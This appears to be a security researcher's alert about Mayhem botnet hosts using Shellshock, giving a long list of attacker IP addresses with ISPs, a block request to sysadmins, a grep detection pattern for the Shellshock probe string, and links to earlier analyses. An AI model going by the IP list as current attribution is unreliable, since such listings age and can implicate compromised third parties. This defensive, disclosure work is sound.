WEBAIR-INTERNET | US | WEBAIR.COM | WEBAIR INTERNET DEVELOPMENT COMPANY INC. 75.101.129.180|ec2-75-101-129-180.compute-1.amazonaws.com.|14618 | 75.101.128.0/17 | AMAZON-AES | US | AMAZON.COM | AMAZON.COM INC. 50.193.119.109|50-193-119-109-static.hfc.comcastbusiness.net.|7922 | 50.128.0.0/9 | COMCAST-7922 | US | COMCASTBUSINESS.NET | PLANET PARTS 177.87.80.17||262652 | 177.87.80.0/22 | R4C | BR | INTELIGNET.COM.BR | R4C SERVICOS DE INFORMATICA LTDA 187.16.21.42|forjastaurus.dominiotemporarioidc.com.|19089 | 187.16.21.0/24 | DH&C | BR | UOL.COM.BR | UNIVERSO ONLINE S.A. 91.221.99.35|h35-91.net.ix-host.ru.|50968 | 91.221.99.0/24 | HOSTMASTER | MD | IX-HOST.RU | HOSTMASTER LTD. 95.211.131.148|LLNH007.local.|16265 | 95.211.0.0/16 | FIBERRING | NL | LEASEWEB.COM | LEASEWEB B.V. 37.187.77.163|ns3366463.ip-37-187-77.eu.|16276 | 37.187.0.0/16 | OVH | FR | OVH.COM | OVH SAS 94.23.113.220||16276 | 94.23.0.0/16 | OVH | FR | OVH.COM | OVH SAS 194.27.156.249||8517 | 194.27.156.0/22 | ULAKNET | TR | - | CELAL BAYAR UNIVERSITESI 103.253.75.208||56309 | 103.253.72.0/22 | SIAMDATA | TH | - | TAN SPIRIT CO. LTD. 103.244.50.23||54113 | 103.244.50.0/24 | FASTLY | US | FASTLY.COM | FASTLY INC 116.193.76.20|sv20.quangtrungdc.name.vn.|24085 | 116.193.76.0/24 | QTSC-AS | VN | - | IP RANGE ALLOCATE FOR QTSC'S INTERNET DATA CENTER 184.107.246.98||32613 | 184.107.0.0/16 | IWEB-AS | CA | IWEB.COM | IWEB TECHNOLOGIES INC. 190.10.14.37|caam-190-10-14-a037.racsa.co.cr.|3790 | 190.10.14.0/24 | RADIOGRAFICA | CR | RACSA.CO.CR | SERVICIO CO-LOCATION RACSA 200.80.44.160|server.cubomagico.tv.|52270 | 200.80.44.0/24 | X | AR | IFXNW.COM.AR | NXNET 202.76.235.110||24218 | 202.76.224.0/20 | GTC-MY-PIP | MY | GLOBALTRANSIT.NET | GTC MY PIP NET 93.74.63.83|pedlarly-tack.volia.net.|25229 | 93.74.0.0/16 | VOLIA | UA | VOLIA.NET | KYIVSKI TELEKOMUNIKATSIYNI MEREZHI LLC 176.67.167.180||13213 | 176.67.160.0/20 | UK2NET | GB | UK2.NET | UK2 - LTD 82.165.36.8|s16296639.onlinehome-server.info.|8560 | 82.165.0.0/16 | ONEANDONE | DE | 1AND1.CO.UK | 1&1 INTERNET AG 82.200.168.83|82.200.168.83.adsl.online.kz.|9198 | 82.200.160.0/20 | KAZTELECOM | KZ | - | ENU 95.110.178.157|alodrink.eu.|31034 | 95.110.160.0/19 | ARUBA | IT | ARUBA.IT | ARUBA S.P.A. 103.7.84.13|web2.jabikha.net.|23950 | 103.7.84.0/24 | GENID-AS | ID | JABIKHA.NET | PT JARINGAN BISNIS KHATULISTIWA 89.206.41.50|host50-89-206-41.limes.com.pl.|29649 | 89.206.0.0/18 | LIMES | PL | LIMES.COM.PL | LIMES S.C. 85.232.60.34|futureis-3.titaninternet.co.uk.|20860 | 85.232.48.0/20 | IOMART | GB | TITANINTERNET.CO.UK | TITAN INTERNET LTD 91.130.113.149|d91-130-113-149.cust.tele2.at.|1257 | 91.128.0.0/14 | TELE2,S | EU | TELE2.AT | TELE2 TELECOMMUNICATION SERVICES GMBH 110.44.30.204|110-44-30-204.host.neural.net.au.|45844 | 110.44.28.0/22 | NEURALNETWORKS-AS | AU | NEURAL.NET.AU | NEURAL NETWORKS DATA SERVERS PTY. LTD. 83.168.199.4|static-83-168-199-4.cust.crystone.se.|35041 | 83.168.199.0/24 | NET-CRYSTONE | SE | CRYSTONE.SE | CRYSTONE AB 184.106.196.169|184-106-196-169.static.cloud-ips.com.|19994 | 184.106.0.0/16 | RACKSPACE | US | RACKSPACE.COM | RACKSPACE HOSTING 216.119.149.163|216.119.149.163.static.midphase.com.|32780 | 216.119.144.0/20 | HOSTINGSERVICES-INC | US | MIDPHASE.COM | HOSTING SERVICES INC. 184.106.196.169|184-106-196-169.static.cloud-ips.com.|19994 | 184.106.0.0/16 | RACKSPACE | US | RACKSPACE.COM | RACKSPACE HOSTING 67.23.9.241|67-23-9-241.static.cloud-ips.com.|33070 | 67.23.0.0/19 | RMH-14 | US | RACKSPACE.COM | RACKSPACE CLOUD SERVERS 216.228.104.39|lamp2.ncol.net.|11426 | 216.228.96.0/20 | SCRR-11426 | US | NCOL.NET | NCOL.NET INC. 82.222.172.99|host-82-222-172-99.reverse.superonline.net.|34984 | 82.222.172.0/24 | TELLCOM | TR | SUPERONLINE.NET | TELLCOM ILETISIM HIZMETLERI A.S. 184.107.144.146||32613 | 184.107.0.0/16 | IWEB-AS | CA | - | POLLOCK NEAL 23.251.144.200|200.144.251.23.bc.googleusercontent.com.|15169 | 23.251.128.0/19 | GOOGLE | US | GOOGLE.COM | GOOGLE INC. 212.175.22.224|linux.zenpozitif.net.|9121 | 212.175.0.0/17 | TTNET | TR | SUNUCU.COM.TR | NETFACTOR 142.4.11.48|142-4-11-48.unifiedlayer.com.|46606 | 142.4.0.0/19 | UNIFIEDLAYER-AS-1 | US | UNIFIEDLAYER.COM | UNIFIED LAYER 5.39.49.231||16276 | 5.39.0.0/17 | OVH | FR | OVH.COM | OVH SAS 133.242.202.17|kokuralab.com.|7684 | 133.242.0.0/16 | SAKURA | JP | SAKURA.AD.JP | SAKURA INTERNET INC. 94.23.42.182|tx.irontec.com.|16276 | 94.23.0.0/16 | OVH | FR | OVH.COM | OVH SAS
With GeoIP graphical view, please click the image below: (thank's to JC for the GIPC!)
Thank you @xme (twitter) for Google mapping all IP sources into more comprehensive detail as per link below↓
These attacker IPs are the combination between (known) Mayhem bots we monitor and unknown sources (including the suspected possibility of new panels/CNC/bots). We are asking to the related ISP to check your host in details if your IP is listed above. The cleaning up of the botnet nodes will reduce the infection speed, please kindly cooperate.
For the sysadmins and ISP please BLOCK the IP address that listed in this report. It is proven wide-ranged targeted attack is on going from those IP, we checked in countries i.e.: Japan, Australia and Malaysia, below is another snip of different attack coming from listed IP addresses: Thank's to @0xAli for this additional information
Since some requests came: You may ask us the log of attack for the purpose of cleaning your network from Mayhem botnet, by sending us the comment in the bottom of this post, please leave the email address so we can contact you. The comment will not be posted, feel free to test it beforehand.
More message and additional information
This is the warning, made and will be sent in various CERT contacts as reference. The threat is still not being neutralized yet and is still active (has just been started..is more like it) in infecting us. We are decided to be in hurry to raise this alert for the threat awareness. The material is to be added for updates and new analysis, so please take a look back for updates too.
The samples for the research purpose are shared via kernelmode, access here -->(LINK)
If Mayhem botnet uses shellshock, and this is a very serious threat, please work and cooperate together in good coordination in order to stop the source of the threat.
(reserved)We will add the information in here (/reserved)
You can help to share the source IP of #Mayhem#Shellshock attack pattern:
$ grep 'expr 1330 + 7' /var/log/httpd/access_log
#MalwareMustDie!
References of previous version infection report of Mayhem (ELF .so LD_PRELOAD malware)
1. MMD-0020-2014 - Analysis of infection ELF malware: libworker.so -->LINK 2. Video tutorial to dissect ELF .so malware that's using LD_PRELOAD -->LINK 3. MMD-0024-2014 - Recent Incident Report of ELF (LD_PRELOAD) libworker.so -->LINK 4. Repository of Linux/Mayhem threat in KernelMode.info -->LINK 5. Report by Yandex team, via Virus Bulletin -->LINK 6. Report by DamageLab.org -->LINK 7. Report by Artturi Lehtio via F-Secure blog -->LINK
